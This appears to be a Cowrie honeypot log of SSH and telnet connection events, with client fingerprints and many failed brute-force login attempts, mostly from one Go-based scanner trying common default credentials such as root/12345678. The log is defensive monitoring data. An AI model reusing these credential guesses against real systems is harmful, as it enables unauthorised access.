{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:40.790757Z","src_ip":"176.65.132.129","session":"99d030cce2f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:41.116534Z","src_ip":"176.65.132.129","session":"99d030cce2f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:42.201571Z","src_ip":"176.65.132.129","session":"99d030cce2f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35132,"dst_ip":"159.203.135.109","dst_port":22,"session":"81878890dce0","protocol":"ssh","message":"New connection: 176.65.132.129:35132 (159.203.135.109:22) [session: 81878890dce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:44.024239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:44.028868Z","src_ip":"176.65.132.129","session":"81878890dce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:44.110883Z","src_ip":"176.65.132.129","session":"81878890dce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"git","message":"login attempt [user/git] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:44.356410Z","src_ip":"176.65.132.129","session":"81878890dce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:45.442374Z","src_ip":"176.65.132.129","session":"81878890dce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43630,"dst_ip":"159.203.135.109","dst_port":22,"session":"59eed4e9497b","protocol":"ssh","message":"New connection: 176.65.132.129:43630 (159.203.135.109:22) [session: 59eed4e9497b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.153016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.157419Z","src_ip":"176.65.132.129","session":"59eed4e9497b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.36279487609863,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.172768Z","src_ip":"152.42.224.71","session":"e1cfec13c4b0","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.239257Z","src_ip":"176.65.132.129","session":"59eed4e9497b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.486028Z","src_ip":"176.65.132.129","session":"59eed4e9497b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":57220,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a392265663","protocol":"telnet","message":"New connection: 213.108.3.46:57220 (10.17.0.5:23) [session: 90a392265663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.490085Z"}
{"eventid":"cowrie.session.closed","duration":0.018054723739624023,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:47.508083Z","src_ip":"213.108.3.46","session":"90a392265663","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:48.570011Z","src_ip":"176.65.132.129","session":"59eed4e9497b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43632,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffd8cb54d1dd","protocol":"ssh","message":"New connection: 176.65.132.129:43632 (159.203.135.109:22) [session: ffd8cb54d1dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:50.565792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:50.570220Z","src_ip":"176.65.132.129","session":"ffd8cb54d1dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:50.652738Z","src_ip":"176.65.132.129","session":"ffd8cb54d1dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:50.899144Z","src_ip":"176.65.132.129","session":"ffd8cb54d1dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:51.987586Z","src_ip":"176.65.132.129","session":"ffd8cb54d1dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43636,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f65c0c1aeed","protocol":"ssh","message":"New connection: 176.65.132.129:43636 (159.203.135.109:22) [session: 9f65c0c1aeed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:53.897468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:53.969469Z","src_ip":"176.65.132.129","session":"9f65c0c1aeed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:54.022517Z","src_ip":"176.65.132.129","session":"9f65c0c1aeed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:54.298588Z","src_ip":"176.65.132.129","session":"9f65c0c1aeed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:55.382680Z","src_ip":"176.65.132.129","session":"9f65c0c1aeed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41736,"dst_ip":"159.203.135.109","dst_port":22,"session":"4f95ce5a78e3","protocol":"ssh","message":"New connection: 176.65.132.129:41736 (159.203.135.109:22) [session: 4f95ce5a78e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:57.261426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:57.266495Z","src_ip":"176.65.132.129","session":"4f95ce5a78e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:57.349996Z","src_ip":"176.65.132.129","session":"4f95ce5a78e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pool","password":"pool","message":"login attempt [pool/pool] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:57.598933Z","src_ip":"176.65.132.129","session":"4f95ce5a78e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39072,"dst_ip":"10.17.0.5","dst_port":23,"session":"464c714db707","protocol":"telnet","message":"New connection: 152.42.224.71:39072 (10.17.0.5:23) [session: 464c714db707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:57.825937Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39084,"dst_ip":"10.17.0.5","dst_port":23,"session":"10332abc37fe","protocol":"telnet","message":"New connection: 152.42.224.71:39084 (10.17.0.5:23) [session: 10332abc37fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:58.302418Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:58.724254Z","src_ip":"176.65.132.129","session":"4f95ce5a78e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39086,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec3f5c4c56c8","protocol":"telnet","message":"New connection: 152.42.224.71:39086 (10.17.0.5:23) [session: ec3f5c4c56c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:08:59.341995Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41746,"dst_ip":"159.203.135.109","dst_port":22,"session":"66399abc1fa6","protocol":"ssh","message":"New connection: 176.65.132.129:41746 (159.203.135.109:22) [session: 66399abc1fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:00.502944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:00.507626Z","src_ip":"176.65.132.129","session":"66399abc1fa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:00.589581Z","src_ip":"176.65.132.129","session":"66399abc1fa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user10","password":"user10","message":"login attempt [user10/user10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:00.835731Z","src_ip":"176.65.132.129","session":"66399abc1fa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:01.928232Z","src_ip":"176.65.132.129","session":"66399abc1fa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":47442,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b876395436b","protocol":"ssh","message":"New connection: 165.154.6.86:47442 (10.17.0.5:22) [session: 1b876395436b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:02.663421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:02.670338Z","src_ip":"165.154.6.86","session":"1b876395436b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:02.888268Z","src_ip":"165.154.6.86","session":"1b876395436b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"restart","message":"login attempt [root/restart] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:03.763800Z","src_ip":"165.154.6.86","session":"1b876395436b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41754,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5138f2f6078","protocol":"ssh","message":"New connection: 176.65.132.129:41754 (159.203.135.109:22) [session: c5138f2f6078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:03.956083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:09:03.962163Z","src_ip":"176.65.132.129","session":"c5138f2f6078","protocol":"ssh"}
